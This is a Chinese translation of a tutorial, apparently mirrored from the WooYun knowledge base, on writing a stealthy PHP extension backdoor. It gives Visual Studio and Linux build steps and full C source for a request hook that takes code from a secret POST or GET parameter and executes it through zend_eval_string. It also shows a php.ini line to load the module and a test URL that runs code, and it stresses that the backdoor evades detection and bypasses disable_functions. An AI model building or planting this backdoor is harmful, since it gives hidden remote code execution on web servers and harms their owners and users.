編寫基於PHP擴充套件庫的後門

wyzsk發表於2020-08-19
作者: lxj616 · 2014/09/17 16:23

from:http://stackoff.ru/pishem-rasshirenie-bekdor-dlya-php/

0x00 前言


今天我們將討論編寫基於PHP擴充套件庫的後門。通常來說,大部分入侵者都會在指令碼中留下自定義程式碼塊後門。當然,這些東西很容易透過原始碼的靜態或動態分析找到。

利用PHP擴充套件庫的好處顯而易見:

很難尋找
繞過disable_functions選項 
有能力控制所有的程式碼
訪問程式碼執行的API

但是我們需要有編輯PHP配置檔案的能力。

0x01 細節


//【譯者注:用linux兩條命令搞定了,何必windows費這麼大勁】 作為例子,我會用Windows來寫。寫擴充套件我用的Visual Studio 2012 Express版本。還需要的原始碼最新版本,編譯PHP庫(可從同一來源收集)。為簡單起見,我們需要是的php-5.5.15-Win32的VC11-86和源PHP-5.5.15-src.zip

解壓使用C編譯PHP:PHP,原始碼在C:PHP-SRC。

然後,你需要進行一些設定。

1)新增前處理器定義:

ZEND_DEBUG=0 
ZTS=1
ZEND_WIN32 
PHP_WIN32 

enter image description here

前處理器定義 2)新增的目錄,用於連線源:

C: PHP-SRCmain
C: PHP-SRCend
C: PHP-SRCTSRM
C: PHP-SRC
egex
C: PHP-SRC 

enter image description here

其他目錄連線

3)新增其他目錄中liboy php5ts.lib(C: PHP dev的)

enter image description here

其他目錄庫 4)新增連線庫php5ts.lib。

enter image description here

裝配額外的庫

5)指定收集檔案的路徑。

enter image description here

儲存配置檔案 配置引數為Workspace擴充套件的開發後(詳情可以在http://blog.slickedit.com/2007/09/creating-a-php-5-extension-with-visual-c-2005/找到),建立一個新的專案型別後門“控制檯應用程式的Win32”。

enter image description here

在Visual StudioVyberem型“庫DLL»專案” 選擇合適型別

enter image description here

然後,從專案中刪除不必要的檔案。應該只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。

在標頭檔案stdafx.h中 :

#pragma once
#ifndef STDAFX
#define STDAFX
#include "zend_config.w32.h" 
#include "php.h"
#endif

現在,我們直接進入PHP擴充套件的程式碼。刪除所有行,並新增所需的檔案連線。

#include "stdafx.h"
#include "zend_config.w32.h"
#include "php.h"

如果workspace設定已經正確,警告就會消失。 當模組被初始化時,會有幾個事件,其中每一個都在特定條件下發生。我們需要在查詢執行時,去執行我們的程式碼。要做到這一點,你必須初始化我們所需要的功能,我給它命名為«hideme»。 PHP_RINIT_FUNCTION(hideme); 然後你可以去看模組的初始化。

zend_module_entry hideme_ext_module_entry = {
    STANDARD_MODULE_HEADER,
    "simple backdoor",
    NULL,
    NULL,
    NULL,
    PHP_RINIT(hideme),
    NULL, 
    NULL,
    "1.0",
    STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(hideme_ext);

在這篇文章中,我們只需要載入中程式碼被執行即可,因此執行和解除安裝模組由空取代。 現在,你可以去看hideme的函式體。

PHP_RINIT_FUNCTION(hideme)
{

    char* method = "_POST"; //超全域性陣列,從中我們採取perametr和價值   char* secret_string = "secret_string"; //引數,這將是執行的程式碼    
    //【譯者注:在原文作者的github程式碼中method是get,secret_string是execute,請大家按照github程式碼進行測試,不修改原文了】
    zval** arr;
    char* code;

    if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { 
        HashTable* ht = Z_ARRVAL_P(*arr);
        zval** val;
        if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查詢雜湊表中所需的引數          
    code =  Z_STRVAL_PP(val); //值
    zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //程式碼執行
        }
    }
    return SUCCESS;
}

註釋應該比較清楚。最初,我們設定HTTP方法和引數secret_string。然後再尋找正確的陣列引數,如果有的話,我們就從它的值中取指令,並透過zend_eval_string執行程式碼。 編譯後的所得,即可作為一個擴充套件庫。

下載原始碼

https://github.com/akamajoris/php-extension-backdoor

0x02 測試


//以下為譯者測試截圖:

enter image description here

http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();

(因為原作者github程式碼設定的是execute)

Linux編譯(kali)

apt-get install php5-dev
phpize && ./configure && make

在kali下測試一遍成功,我比較懶,直接chmod後把so複製到/var/www了哈哈

然後php.ini加上

extension=/var/www/back.so

重啟apache,測試成功

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章